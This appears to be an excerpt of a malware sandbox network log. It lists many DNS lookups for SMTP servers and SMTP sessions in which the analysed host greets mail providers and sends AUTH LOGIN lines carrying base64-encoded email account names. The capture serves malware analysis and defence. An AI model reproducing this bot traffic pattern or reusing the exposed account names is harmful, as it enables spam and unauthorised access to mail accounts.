May 19, 2024 17:27:55.745151043 CEST	1.1.1.1	192.168.2.4	0x7e77	No error (0)	smtp.impercettivo.it		62.149.128.201	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.745151043 CEST	1.1.1.1	192.168.2.4	0x7e77	No error (0)	smtp.impercettivo.it		62.149.128.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.854891062 CEST	1.1.1.1	192.168.2.4	0x4f14	Name error (3)	securesmtp.artenativadancas.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.855014086 CEST	1.1.1.1	192.168.2.4	0xef11	No error (0)	securesmtp.selbstschutzcenter.de		176.9.131.126	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.237164974 CEST	1.1.1.1	192.168.2.4	0xffe	Name error (3)	out.swindon-academy.org	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.237194061 CEST	1.1.1.1	192.168.2.4	0x1c22	Name error (3)	secure.jodehv.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.360266924 CEST	1.1.1.1	192.168.2.4	0x29a3	No error (0)	sky.com		90.216.128.5	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.430883884 CEST	1.1.1.1	192.168.2.4	0x91f1	Name error (3)	smtp.alstec.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.505897999 CEST	1.1.1.1	192.168.2.4	0x4643	Name error (3)	2008easyweb5.net	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.531392097 CEST	1.1.1.1	192.168.2.4	0x5064	No error (0)	mx2.emailsrvr.com		184.106.54.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.626207113 CEST	1.1.1.1	192.168.2.4	0x2e52	No error (0)	smtp.riberpallesen.dk		46.30.213.46	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.745016098 CEST	1.1.1.1	192.168.2.4	0xc9dd	Name error (3)	out.gozcosmeticos.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.002849102 CEST	1.1.1.1	192.168.2.4	0xfb44	No error (0)	securesmtp.wtcc.org		13.248.169.48	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.002849102 CEST	1.1.1.1	192.168.2.4	0xfb44	No error (0)	securesmtp.wtcc.org		76.223.54.146	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.310729027 CEST	1.1.1.1	192.168.2.4	0xe19e	Name error (3)	smtp.discente.ufg.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.479172945 CEST	1.1.1.1	192.168.2.4	0x36e7	No error (0)	zonec.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.713841915 CEST	1.1.1.1	192.168.2.4	0x713e	No error (0)	smtp.shaw.ca	shawmail.glb.shawcable.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:57.713841915 CEST	1.1.1.1	192.168.2.4	0x713e	No error (0)	shawmail.glb.shawcable.net		64.59.136.142	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.713841915 CEST	1.1.1.1	192.168.2.4	0x713e	No error (0)	shawmail.glb.shawcable.net		64.59.128.135	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.767129898 CEST	1.1.1.1	192.168.2.4	0x9d5a	No error (0)	mail.tslinternational.it	tslinternational.it		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:57.767129898 CEST	1.1.1.1	192.168.2.4	0x9d5a	No error (0)	tslinternational.it		46.28.0.29	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.828006029 CEST	1.1.1.1	192.168.2.4	0xc6ec	Name error (3)	securesmtp.alcazar.com.my	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.880789995 CEST	1.1.1.1	192.168.2.4	0x1889	No error (0)	digitalcm.com.br		177.11.54.185	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.912144899 CEST	1.1.1.1	192.168.2.4	0x9608	No error (0)	smtp.frontier.com	relay-ftrcom.glb.frontiernet.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:57.912144899 CEST	1.1.1.1	192.168.2.4	0x9608	No error (0)	relay-ftrcom.glb.frontiernet.net		66.133.129.50	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.958523035 CEST	1.1.1.1	192.168.2.4	0xad71	Name error (3)	smtp.7989501.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.077086926 CEST	1.1.1.1	192.168.2.4	0x659c	Name error (3)	out.cjini.org	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.122288942 CEST	1.1.1.1	192.168.2.4	0xc7ea	No error (0)	mail.afriget.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:58.122288942 CEST	1.1.1.1	192.168.2.4	0xc7ea	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:58.122288942 CEST	1.1.1.1	192.168.2.4	0xc7ea	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.122288942 CEST	1.1.1.1	192.168.2.4	0xc7ea	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.158421993 CEST	1.1.1.1	192.168.2.4	0xb38e	No error (0)	imagecast.com.au		103.226.222.162	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.330130100 CEST	1.1.1.1	192.168.2.4	0x64ea	Server failure (2)	out.jci.net	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.349812984 CEST	1.1.1.1	192.168.2.4	0xdc61	No error (0)	securesmtp.autizam-ri.hr		78.46.45.143	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.837435007 CEST	1.1.1.1	192.168.2.4	0x889a	Name error (3)	securesmtp.jcapshaw.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.965152025 CEST	1.1.1.1	192.168.2.4	0xf364	No error (0)	smtp.interprise.com.br	smtp.googlemail.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:58.965152025 CEST	1.1.1.1	192.168.2.4	0xf364	No error (0)	smtp.googlemail.com		74.125.133.16	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.085921049 CEST	1.1.1.1	192.168.2.4	0x9497	Name error (3)	secure.blvddeli.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.120491028 CEST	1.1.1.1	192.168.2.4	0x6574	Name error (3)	out.exsite.ie	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.126405954 CEST	1.1.1.1	192.168.2.4	0xab26	No error (0)	pep4teens.de		217.160.0.220	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.126447916 CEST	1.1.1.1	192.168.2.4	0x3ccf	No error (0)	relay.micso.it		195.32.69.33	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.137320995 CEST	1.1.1.1	192.168.2.4	0xb13e	No error (0)	smtp.totalise.co.uk		212.159.8.240	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.137320995 CEST	1.1.1.1	192.168.2.4	0xb13e	No error (0)	smtp.totalise.co.uk		212.159.9.240	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.161829948 CEST	1.1.1.1	192.168.2.4	0xfa69	No error (0)	smtp.uniquestudio.it		62.149.128.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.161829948 CEST	1.1.1.1	192.168.2.4	0xfa69	No error (0)	smtp.uniquestudio.it		62.149.128.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.161829948 CEST	1.1.1.1	192.168.2.4	0xfa69	No error (0)	smtp.uniquestudio.it		62.149.128.203	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.161829948 CEST	1.1.1.1	192.168.2.4	0xfa69	No error (0)	smtp.uniquestudio.it		62.149.128.201	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.245125055 CEST	1.1.1.1	192.168.2.4	0x52f4	Name error (3)	smtp.sheafwebdesign.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.245197058 CEST	1.1.1.1	192.168.2.4	0x6729	Name error (3)	securesmtp.stupiezz.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.649491072 CEST	1.1.1.1	192.168.2.4	0x84c7	Name error (3)	mail.ludwig-schnur.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.731698036 CEST	1.1.1.1	192.168.2.4	0x9228	Name error (3)	securesmtp.tabako.org	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.783267021 CEST	1.1.1.1	192.168.2.4	0x6563	No error (0)	mkv.com		94.23.73.225	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.869864941 CEST	1.1.1.1	192.168.2.4	0x8fcc	Name error (3)	out.rsodre.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.964488029 CEST	1.1.1.1	192.168.2.4	0x453b	No error (0)	securesmtp.strongxl.com		35.182.240.32	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.021012068 CEST	1.1.1.1	192.168.2.4	0xe8c1	Name error (3)	smtp.cyrill-etter.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.067439079 CEST	1.1.1.1	192.168.2.4	0x54c1	Name error (3)	securesmtp.guidewiregroup.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.271847963 CEST	1.1.1.1	192.168.2.4	0xbc9c	No error (0)	smtp.cogeco.ca		193.122.131.100	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.355876923 CEST	1.1.1.1	192.168.2.4	0xcb44	No error (0)	smtp.ceipelalbero.org		164.138.208.23	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.361339092 CEST	1.1.1.1	192.168.2.4	0xd303	No error (0)	mail.siprep.org		64.90.62.162	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.401907921 CEST	1.1.1.1	192.168.2.4	0x449e	No error (0)	smtp.indamail.hu	smtp.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:00.401907921 CEST	1.1.1.1	192.168.2.4	0x449e	No error (0)	smtp.dka.mailcore.net		81.7.169.194	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.401907921 CEST	1.1.1.1	192.168.2.4	0x449e	No error (0)	smtp.dka.mailcore.net		194.19.134.66	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.549263954 CEST	1.1.1.1	192.168.2.4	0xc1b1	Name error (3)	mail.sael.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.588932991 CEST	1.1.1.1	192.168.2.4	0xfec0	No error (0)	winesofargentina.com.ar		162.144.159.205	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.627527952 CEST	1.1.1.1	192.168.2.4	0xf2a2	No error (0)	out.vliethorst.scolucas.nl		213.133.36.60	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.693202972 CEST	1.1.1.1	192.168.2.4	0x3b00	Name error (3)	secure.enterprisemarketing.org	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.827346087 CEST	1.1.1.1	192.168.2.4	0x8fff	Name error (3)	smtp.urban-excellence.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.213372946 CEST	1.1.1.1	192.168.2.4	0xf9a3	No error (0)	tobsa.mx		66.199.141.105	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.213438988 CEST	1.1.1.1	192.168.2.4	0xde73	No error (0)	yumm.com		75.2.96.173	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.213438988 CEST	1.1.1.1	192.168.2.4	0xde73	No error (0)	yumm.com		99.83.186.151	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.249800920 CEST	1.1.1.1	192.168.2.4	0x71bc	Name error (3)	secure.mail2000.com.tw	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.249830008 CEST	1.1.1.1	192.168.2.4	0x71bc	Name error (3)	secure.mail2000.com.tw	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.417285919 CEST	1.1.1.1	192.168.2.4	0x6370	Name error (3)	securesmtp.farolapoiomaritimo.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	mail.provincia.modena.it	smtp.office365.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	smtp.office365.com	outlook.office365.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	outlook.office365.com	ooc-g2.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		40.99.150.18	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		40.99.150.66	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		52.98.179.34	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		40.99.150.34	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		52.98.175.18	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		52.98.179.82	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		52.98.243.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.516148090 CEST	1.1.1.1	192.168.2.4	0xd141	No error (0)	ooc-g2.tm-4.office.com		40.99.150.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.651235104 CEST	1.1.1.1	192.168.2.4	0xdecf	Name error (3)	mail.sinoexpro.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.312077045 CEST	1.1.1.1	192.168.2.4	0x1286	Name error (3)	securesmtp.wyndhamtrading.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.312141895 CEST	1.1.1.1	192.168.2.4	0xabf	No error (0)	mail49.extendcp.co.uk		79.170.44.49	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.316890955 CEST	1.1.1.1	192.168.2.4	0x76ae	Name error (3)	mail.jrvps.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.323889017 CEST	1.1.1.1	192.168.2.4	0x269b	Name error (3)	flitepath.com.au	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.324028969 CEST	1.1.1.1	192.168.2.4	0x5f9d	Name error (3)	out.wxyz.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.328725100 CEST	1.1.1.1	192.168.2.4	0x1337	No error (0)	smtp.volny.cz		46.255.231.17	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.328870058 CEST	1.1.1.1	192.168.2.4	0x5e49	Name error (3)	out.sanitas.com.ar	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.333537102 CEST	1.1.1.1	192.168.2.4	0xec72	No error (0)	smtp.alice.de		91.136.8.184	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.374090910 CEST	1.1.1.1	192.168.2.4	0x2b06	Name error (3)	secure.myparadox.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.394079924 CEST	1.1.1.1	192.168.2.4	0xb1b0	No error (0)	steilgang.com		138.201.248.141	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.408766985 CEST	1.1.1.1	192.168.2.4	0xd281	No error (0)	smtp.blittrup.dk		93.191.156.82	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.428287983 CEST	1.1.1.1	192.168.2.4	0xcde0	No error (0)	smtp.ziggo.nl		84.116.6.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.512224913 CEST	1.1.1.1	192.168.2.4	0xdd60	No error (0)	mail.helmsman.co.uk		160.153.16.9	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.589432001 CEST	1.1.1.1	192.168.2.4	0x414c	No error (0)	smtp.gamil.com		192.252.154.117	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.621129990 CEST	1.1.1.1	192.168.2.4	0x3ab4	Name error (3)	out.gregorgergen.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.715873003 CEST	1.1.1.1	192.168.2.4	0x419	Name error (3)	smtp.lsbolsas.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.720998049 CEST	1.1.1.1	192.168.2.4	0x5f19	Name error (3)	securesmtp.rmzvqp.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.899550915 CEST	1.1.1.1	192.168.2.4	0x39a3	No error (0)	ex4.mail.ovh.net		198.244.135.130	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.899550915 CEST	1.1.1.1	192.168.2.4	0x39a3	No error (0)	ex4.mail.ovh.net		51.75.223.98	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.948379040 CEST	1.1.1.1	192.168.2.4	0xd977	Name error (3)	smtp.turkler.net	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.994468927 CEST	1.1.1.1	192.168.2.4	0xa981	Name error (3)	secure.cookcs.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.994486094 CEST	1.1.1.1	192.168.2.4	0x7a0a	No error (0)	mail.parmafacile.it	mx2.zimbra-ilger.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:03.994486094 CEST	1.1.1.1	192.168.2.4	0x7a0a	No error (0)	mx2.zimbra-ilger.com		93.63.176.186	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.026865005 CEST	1.1.1.1	192.168.2.4	0xa63f	Name error (3)	out.afghan24.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.153712988 CEST	1.1.1.1	192.168.2.4	0x4ca9	No error (0)	uorak.com		3.228.97.49	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.260284901 CEST	1.1.1.1	192.168.2.4	0x2f41	No error (0)	mail.t-email.hu	mail.t-online.hu		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:28:04.260284901 CEST	1.1.1.1	192.168.2.4	0x2f41	No error (0)	mail.t-online.hu		84.2.46.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.260284901 CEST	1.1.1.1	192.168.2.4	0x2f41	No error (0)	mail.t-online.hu		84.2.44.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.291588068 CEST	1.1.1.1	192.168.2.4	0x5e22	Name error (3)	mail.osbt.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.291673899 CEST	1.1.1.1	192.168.2.4	0x84e8	No error (0)	bigpond.net.au		139.134.5.153	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.632503986 CEST	1.1.1.1	192.168.2.4	0xb81a	No error (0)	smtp.galual.com		211.234.116.139	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:04.637274981 CEST	1.1.1.1	192.168.2.4	0xb81a	No error (0)	smtp.galual.com		211.234.116.139	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 19, 2024 17:27:38.185408115 CEST	587	49749	129.159.94.43	192.168.2.4	220 2.0.0 mail.tds.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:37 -0400
May 19, 2024 17:27:38.429140091 CEST	587	49752	168.0.132.203	192.168.2.4	220 smtp1.smtp.skymail.prv ESMTP
May 19, 2024 17:27:38.587500095 CEST	49749	587	192.168.2.4	129.159.94.43	EHLO smtp.tds.net
May 19, 2024 17:27:38.630310059 CEST	587	49754	52.223.4.149	192.168.2.4	220 entmail-hzmx1.singapore.163.org ESMTP ready
May 19, 2024 17:27:38.693238974 CEST	587	49749	129.159.94.43	192.168.2.4	250-smtp01.tds.email-ash1.sync.lan says EHLO to 208.252.80.51:26744 250-8BITMIME 250-PIPELINING 250-AUTH=LOGIN 250-AUTH LOGIN 250-ENHANCEDSTATUSCODES 250-STARTTLS 250 XDUMPCONTEXT
May 19, 2024 17:27:38.842524052 CEST	49752	587	192.168.2.4	168.0.132.203	EHLO smtp.ig.com.br
May 19, 2024 17:27:38.974886894 CEST	49754	587	192.168.2.4	52.223.4.149	EHLO hzmx01.mxmail.netease.com
May 19, 2024 17:27:39.027252913 CEST	587	49753	81.7.169.213	192.168.2.4	220 SMTP.DKA.mailcore.net MailCore SMTP Server ready
May 19, 2024 17:27:39.074960947 CEST	49749	587	192.168.2.4	129.159.94.43	STARTTLS
May 19, 2024 17:27:39.108505964 CEST	587	49752	168.0.132.203	192.168.2.4	250-smtp1.smtp.skymail.prv 250-PIPELINING 250-SIZE 52428800 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
May 19, 2024 17:27:39.145431995 CEST	587	49763	213.153.32.148	192.168.2.4	220 isp-cbl-smtp001.cablelink.at cablelink.at ESMTP Sun, 19 May 2024 17:27:39 +0200
May 19, 2024 17:27:39.166995049 CEST	587	49759	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:39.180062056 CEST	587	49749	129.159.94.43	192.168.2.4	220 2.0.0 continue
May 19, 2024 17:27:39.297517061 CEST	587	49765	64.136.52.44	192.168.2.4	220 smtpout02.vgs.untd.com ESMTP
May 19, 2024 17:27:39.302450895 CEST	587	49767	62.149.128.200	192.168.2.4	220 smtpdh18.ad.aruba.it Aruba Outgoing Smtp ESMTP server ready
May 19, 2024 17:27:39.309146881 CEST	587	49754	52.223.4.149	192.168.2.4	250-entmail-hzmx1.singapore.163.org 250-PIPELINING 250-8BITMIME 250-AUTH=LOGIN PLAIN 250-AUTH PLAIN LOGIN 250 STARTTLS
May 19, 2024 17:27:39.314568043 CEST	587	49764	64.136.52.44	192.168.2.4	220 smtpout01.vgs.untd.com ESMTP
May 19, 2024 17:27:39.469135046 CEST	587	49772	209.67.129.55	192.168.2.4	220 Mail2World SMTP Server Ready
May 19, 2024 17:27:39.509428024 CEST	49753	587	192.168.2.4	81.7.169.213	EHLO mail.hot.ee
May 19, 2024 17:27:39.592611074 CEST	49752	587	192.168.2.4	168.0.132.203	STARTTLS
May 19, 2024 17:27:39.592674017 CEST	49763	587	192.168.2.4	213.153.32.148	EHLO smtp.sbg.at
May 19, 2024 17:27:39.592838049 CEST	49759	587	192.168.2.4	213.209.1.145	EHLO smtp.virgilio.it
May 19, 2024 17:27:39.685156107 CEST	587	49783	129.213.13.252	192.168.2.4	220 smtp.rcn.com ESMTP
May 19, 2024 17:27:39.705213070 CEST	587	49753	81.7.169.213	192.168.2.4	250-SMTP.DKA.mailcore.net 250-PIPELINING 250-SIZE 31457280 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
May 19, 2024 17:27:39.736927986 CEST	49765	587	192.168.2.4	64.136.52.44	EHLO smtp.netzero.net
May 19, 2024 17:27:39.737065077 CEST	49767	587	192.168.2.4	62.149.128.200	EHLO smtp.fondazioneitscatania.it
May 19, 2024 17:27:39.737075090 CEST	49764	587	192.168.2.4	64.136.52.44	EHLO smtp.netzero.net
May 19, 2024 17:27:39.737143993 CEST	49754	587	192.168.2.4	52.223.4.149	STARTTLS
May 19, 2024 17:27:39.793562889 CEST	49772	587	192.168.2.4	209.67.129.55	EHLO smtp.bex.net
May 19, 2024 17:27:39.837786913 CEST	587	49759	213.209.1.145	192.168.2.4	250-smtp-42.iol.local hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 50000000 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:39.842585087 CEST	587	49787	193.122.179.25	192.168.2.4	220 2.0.0 mail.windstream.net ESMTP ecelerity 4.4.1.20033 r(msys-ecelerity:tags/4.4.1.0^0) Sun, 19 May 2024 11:27:39 -0400
May 19, 2024 17:27:39.867435932 CEST	587	49752	168.0.132.203	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:39.909478903 CEST	587	49765	64.136.52.44	192.168.2.4	250-smtpout02.vgs.untd.com Hello smtp.netzero.net pleased to meet you 250-SIZE 250-8BITMIME 250-AUTH LOGIN PLAIN CRAM-MD5 250 HELP
May 19, 2024 17:27:39.928708076 CEST	587	49764	64.136.52.44	192.168.2.4	250-smtpout01.vgs.untd.com Hello smtp.netzero.net pleased to meet you 250-SIZE 250-8BITMIME 250-AUTH LOGIN PLAIN CRAM-MD5 250 HELP
May 19, 2024 17:27:39.959767103 CEST	587	49767	62.149.128.200	192.168.2.4	250-smtpdh18.ad.aruba.it hello [208.252.80.51], pleased to meet you 250-HELP 250-AUTH LOGIN PLAIN 250-SIZE 524288000 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-STARTTLS 250 OK
May 19, 2024 17:27:39.969180107 CEST	587	49777	194.126.4.84	192.168.2.4	220 bishop.idm.net.lb -- Server ESMTP (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5 2014))
May 19, 2024 17:27:40.007862091 CEST	49783	587	192.168.2.4	129.213.13.252	EHLO mail.rcn.com
May 19, 2024 17:27:40.011333942 CEST	587	49772	209.67.129.55	192.168.2.4	250-SIZE 0 250-AUTH LOGIN 250-AUTH=LOGIN 250-8BITMIME 250 STARTTLS
May 19, 2024 17:27:40.063817024 CEST	587	49754	52.223.4.149	192.168.2.4	220 2.0.0 Start TLS
May 19, 2024 17:27:40.074532032 CEST	587	49763	213.153.32.148	192.168.2.4	250-isp-cbl-smtp001.cablelink.at Hello smtp.sbg.at [208.252.80.51] 250-SIZE 49283072 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH LOGIN PLAIN 250-CHUNKING 250-STARTTLS 250-SMTPUTF8 250 HELP
May 19, 2024 17:27:40.090646029 CEST	49753	587	192.168.2.4	81.7.169.213	STARTTLS
May 19, 2024 17:27:40.123037100 CEST	587	49783	129.213.13.252	192.168.2.4	250-smtp02.rcn.email-ash1.sync.lan says EHLO to 208.252.80.51:26814 250-8BITMIME 250-ENHANCEDSTATUSCODES 250-XDUMPCONTEXT 250-STARTTLS 250-PIPELINING 250-AUTH=LOGIN PLAIN 250 AUTH LOGIN PLAIN
May 19, 2024 17:27:40.179189920 CEST	587	49795	213.209.1.145	192.168.2.4	220 smtp-42.iol.local smtp-42.iol.local ESMTP server ready
May 19, 2024 17:27:40.229223013 CEST	49759	587	192.168.2.4	213.209.1.145	STARTTLS
May 19, 2024 17:27:40.229521036 CEST	49787	587	192.168.2.4	193.122.179.25	EHLO mail.windstream.net
May 19, 2024 17:27:40.276304007 CEST	587	49776	182.48.49.234	192.168.2.4	220 www2294.sakura.ne.jp ESMTP Sendmail 8.16.1/8.16.1; Mon, 20 May 2024 00:27:40 +0900 (JST)
May 19, 2024 17:27:40.282246113 CEST	587	49753	81.7.169.213	192.168.2.4	220 2.0.0 Ready to start TLS
May 19, 2024 17:27:40.288539886 CEST	49765	587	192.168.2.4	64.136.52.44	AUTH LOGIN a2lja2JhY2s3NkBuZXR6ZXJvLm5ldA==
May 19, 2024 17:27:40.288616896 CEST	49764	587	192.168.2.4	64.136.52.44	AUTH LOGIN a2t6aW5rQG5ldHplcm8ubmV0
May 19, 2024 17:27:40.337606907 CEST	587	49793	52.63.237.70	192.168.2.4	220 cmr-kakadu02.i-08c164aaf19e3f2e8 - SMTP Ready
May 19, 2024 17:27:40.342458963 CEST	587	49787	193.122.179.25	192.168.2.4	250-smtp02.aqua.email-ash1.sync.lan says EHLO to 208.252.80.51:26823 250-STARTTLS 250-AUTH=LOGIN 250-AUTH LOGIN 250-8BITMIME 250-XDUMPCONTEXT 250-ENHANCEDSTATUSCODES 250 PIPELINING
May 19, 2024 17:27:40.384850025 CEST	49767	587	192.168.2.4	62.149.128.200	STARTTLS
May 19, 2024 17:27:40.385083914 CEST	49777	587	192.168.2.4	194.126.4.84	EHLO smtp.cyberia.net.lb
